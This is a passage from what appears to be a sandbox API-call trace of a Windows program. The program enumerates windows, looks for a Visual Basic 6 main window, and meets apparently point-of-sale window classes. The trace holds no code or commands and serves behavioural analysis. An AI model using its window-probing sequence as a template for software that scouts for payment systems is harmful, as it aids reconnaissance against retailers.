lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.801] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.801] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.801] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.801] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.801] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.801] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.801] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.801] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.801] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.802] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0091.802] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0091.802] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.802] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.802] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0091.802] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0091.802] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0091.802] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0091.802] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0091.802] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0091.802] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0091.802] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.802] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0091.802] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0091.802] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0091.802] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0091.802] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.802] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0091.802] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0091.803] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0091.803] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0091.803] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.803] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0091.803] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0091.803] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0091.803] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0091.803] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.803] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0091.803] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0091.803] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0091.803] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0091.803] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.803] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0091.803] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0091.803] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0091.803] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0091.803] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.803] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0091.803] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0091.804] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0091.804] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0091.804] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.804] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0091.804] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0091.804] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0091.804] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0091.804] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.804] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0091.804] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7d9c3d0 [0091.804] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9c3d0) [0094.752] GetAsyncKeyState (vKey=27) returned 0 [0094.752] GetCurrentThreadId () returned 0xbdc [0094.752] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0094.752] GetDesktopWindow () returned 0x10010 [0094.753] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.753] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.753] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.753] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0094.753] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0094.754] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0094.754] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.754] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.754] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.754] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.754] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.754] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.754] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.754] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.754] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.754] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.754] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.755] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0094.755] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.755] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.755] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.755] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0094.755] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0094.755] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0094.755] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.755] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0094.755] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0094.755] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0094.755] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.755] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0094.755] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0094.755] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0094.755] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.755] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0094.755] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0094.755] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0094.755] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.755] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0094.755] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0094.756] IsWindowEnabled (hWnd=0x20360) returned 0 [0094.756] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0094.756] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0094.756] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0094.756] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.756] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0094.756] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0094.756] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.756] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0094.756] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0094.756] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0094.756] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.756] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0094.756] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0094.756] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0094.756] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.756] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0094.756] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0094.756] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0094.756] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.757] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0094.757] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0094.757] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0094.757] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0094.757] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.757] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0094.757] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0094.757] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0094.757] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.757] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0094.757] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0094.757] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.757] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0094.757] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.757] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0094.757] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.757] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.757] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.758] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.758] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.758] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.758] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.758] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0094.758] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0094.758] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0094.758] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0094.758] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0094.758] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0094.758] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0094.758] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0094.759] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0094.759] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0094.759] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0094.759] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0094.759] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0094.759] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0094.759] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0094.759] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0094.759] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0094.759] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0094.759] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0094.760] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0094.760] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0094.760] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0094.760] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0094.760] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0094.760] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0094.760] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0094.760] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0094.760] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0094.760] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0094.760] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0094.760] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0094.761] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0094.761] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0094.761] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0094.761] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0094.761] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0094.761] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0094.761] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0094.761] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0094.761] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0094.761] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0094.761] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0094.761] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0094.762] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0094.762] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0094.762] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0094.762] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0094.762] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0094.762] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0094.762] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0094.762] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0094.762] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0094.762] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0094.762] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0094.762] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0094.763] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0094.763] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0094.763] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0094.763] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0094.763] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0094.763] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0094.763] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0094.763] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0094.763] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0094.763] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0094.763] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0094.763] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0094.764] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0094.764] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0094.764] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0094.764] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0094.764] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0094.764] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0094.764] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0094.764] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0094.764] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0094.764] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0094.764] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0094.765] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0094.765] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0094.765] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0094.765] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0094.765] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0094.765] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0094.765] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0094.765] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0094.765] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0094.765] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: 